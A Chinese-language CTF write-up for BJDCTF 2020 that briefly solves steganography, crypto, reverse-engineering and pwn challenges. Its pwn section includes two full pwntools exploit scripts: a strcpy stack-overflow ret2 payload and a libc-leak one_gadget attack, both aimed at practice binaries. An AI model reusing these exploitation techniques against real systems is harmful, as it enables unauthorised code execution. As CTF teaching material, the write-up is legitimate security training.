Misc

最简单的misc

zip 压缩包伪加密,改完标志位,解压得到文件 secret 。winhex 打开发现头部有 IHDR 标志,盲猜一个 PNG 文件,补一个文件头 89504E47 ,改后缀名。

隔壁是作者,重点是下面。十六进制转 Ascii 得到 flag 。

A_Beautiful_Picture

下载一个 png ,改高度得到 flag 。

EasyBaBa

jpg 19.9M 你见过么?反正我没见过。binwalk 一下没有东西,foremost 一下出来一个压缩包,里面还是一个大得出奇的 jpg 。winhex 看了一下 avi 文件,改后缀名,得到一段鬼畜,pr 逐帧查看视频,找到四个二维码,扫码。十六进制转 Ascii 码,转码后调整顺序得到 flag 。

问卷调查

认真填写才能获得 flag

小姐姐

用 stegdetect 检查 jpeg 文件,发现 jphide 加密。

1
stegdetect.exe -s 20 xiaojiejie.jpeg

然后爆破密码?

对,没错想多了。只需要这样:

Real_EasyBaBa

winhex 打开文件,仔细看,就能获得 flag 。

Crypto

签到

base64 加密

cat_flag

?:0 。?:1 。二进制再转字符串。

燕言燕语

十六进制转 Ascii ,再转维吉尼亚密码。密钥在 Ascii 解码后字符串前面

Reverse

guessgame

IDA打开,shift + F12 查看字符串,得到 flag 。

8086

asm8086 单片机么?这个比较曲折,用物理机 IDA 逆向出奇奇怪怪的指令,用虚拟机 IDA 逆向就能看得懂大半部分。加密方式就是异或,密文是 aUDuTZWjQGjzZWz 的值。

1
2
3
4
5
6
7
8
lea     bx, aUDuTZWjQGjzZWz ; "]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;"
loc_10039: mov di, cx
dec di
xor byte ptr [bx+di], 1Fh //异或0x1f
loop loc_10039
lea dx, aUDuTZWjQGjzZWz ;
mov ah, 9
int 21h

完整exp

1
2
3
4
5
6
m = [0x5D, 0x55, 0x5B, 0x64, 0x75, 0x7E, 0x7C, 0x74, 0x40, 0x7B, 0x7A, 0x40, 0x77, 0x6A, 0x2E, 0x7D, 0x2E, 0x7E,
0x71, 0x40, 0x67, 0x6A, 0x7A, 0x7B, 0x7A, 0x40, 0x77, 0x7A, 0x71, 0x57, 0x7E, 0x2F, 0x62, 0x3B]
flag = ''
for i in range(0x22):
flag += chr(m[i] ^ 0x1F)
print(flag)

Pwn

r2t3

跟攻防世界的一道题类似。漏洞在 name_check() ,会将传入参数 s strcpy 给 &dest 造成溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s); # 漏洞
}

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.log_level = 'debug'

p = remote("node3.buuoj.cn",29570)
#p = process("./r2t3")
elf = ELF("./r2t3")
libc = ELF("./r2t3")

payload = 'a'*0x11
payload += 'a'*0x4
payload += p32(0x8048430)
payload += p32(0xdeadbeef)
payload += p32(0x8048760)
payload = payload.ljust(256+6,'b')

p.recvuntil("name:")
p.sendline(payload)
p.recvuntil("My")

p.interactive()

one_gadget

感觉在哪里见过?

开局给提示:printf 函数地址,然后要求输入,输入完成后,会执行输入地址。所以依据给出地址计算 offset ,算出 one_gadget 真实地址输入。

one_gadget 输入应该是十进制数,一开始 p64() ,做不出来。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.log_level = 'debug'

p = process("./one_gadget")
elf= ELF("./one_gadget")
libc = ELF("./libc-2.29.so")

p.recvuntil("u:")
printf_got = int(p.recv(14),16)
log.success("printf_got:"+hex(printf_got))

libc_base = printf_got - libc.symbols['printf']
log.success("libc_base:"+hex(libc_base))

one_gadget = libc_base + 0x106ef8
log.success("one_gadget:"+hex(one_gadget))

p.recvuntil("gadget:")
p.sendline(str(one_gadget))

p.interactive()

官方WPhttps://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020%E7%AC%AC%E4%BA%8C%E5%B1%8ABJDCTF